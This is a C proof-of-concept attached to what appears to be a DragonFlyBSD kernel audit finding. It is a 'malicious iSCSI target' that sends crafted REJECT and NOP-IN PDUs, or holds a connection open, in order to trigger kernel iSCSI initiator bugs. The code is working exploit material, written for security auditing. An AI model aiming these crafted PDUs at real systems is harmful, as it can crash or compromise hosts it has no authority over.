DragonFlyBSD Kernel Audit
DF-2461 / mtarget.c
← back to finding ↓ download raw
/*
 * mtarget.c - Minimal malicious iSCSI target / connection holder.
 *
 * Modes:
 *   reject  - inject 48-byte REJECT BHS (AHS=0,DS=0)            [DF-2460]
 *   nopin   - inject NOP-IN itt=ffffffff ttt=1 + 4-byte AHS     [DF-2459]
 *   hold    - accept and keep the TCP connection open (for DF-2461,
 *             so ISCSISETSOC sets sp->soc and i_send() does not
 *             short-circuit with ENOTCONN). No PDU is injected.
 *
 * Build: cc -o mtarget mtarget.c
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static void hex(const char *p, int n) {
    int i;
    for (i = 0; i < n; i++) { printf("%02x ", (unsigned char)p[i]); if ((i&15)==15) printf("\n"); }
    printf("\n"); fflush(stdout);
}

int main(int argc, char **argv) {
    const char *mode = argc > 1 ? argv[1] : "reject";
    int port = argc > 2 ? atoi(argv[2]) : 3260;
    int s = socket(AF_INET, SOCK_STREAM, 0);
    int one = 1;
    struct sockaddr_in sa;
    int c; struct sockaddr_in ca; socklen_t cl;

    if (s < 0) { perror("socket"); return 1; }
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");
    sa.sin_port = htons(port);
    if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; }
    if (listen(s, 1) < 0) { perror("listen"); return 1; }
    printf("mtarget[%s]: listening on 127.0.0.1:%d\n", mode, port); fflush(stdout);

    cl = sizeof(ca);
    c = accept(s, (struct sockaddr*)&ca, &cl);
    if (c < 0) { perror("accept"); return 1; }
    printf("mtarget[%s]: accepted connection\n", mode); fflush(stdout);

    if (strcmp(mode, "reject") == 0) {
        unsigned char buf[256]; memset(buf, 0, sizeof(buf));
        buf[0] = 0x3f; buf[1] = 0x80;
        printf("mtarget[%s]: sending 48-byte REJECT (mp stays NULL)\n", mode);
        write(c, buf, 48);
        hex((char*)buf, 32);
        sleep(3);
    } else if (strcmp(mode, "nopin") == 0) {
        unsigned char buf[256]; memset(buf, 0, sizeof(buf));
        buf[0] = 0x20; buf[1] = 0x80; buf[4] = 0x01;
        buf[16]=buf[17]=buf[18]=buf[19]=0xff; buf[23]=0x01;
        printf("mtarget[%s]: sending 52-byte NOP-IN\n", mode);
        write(c, buf, 48);
        write(c, buf, 4);
        hex((char*)buf, 32);
        sleep(3);
    } else if (strcmp(mode, "hold") == 0) {
        printf("mtarget[%s]: holding connection open 30s\n", mode); fflush(stdout);
        sleep(30);
    } else {
        fprintf(stderr, "unknown mode %s\n", mode); return 1;
    }
    close(c);
    close(s);
    return 0;
}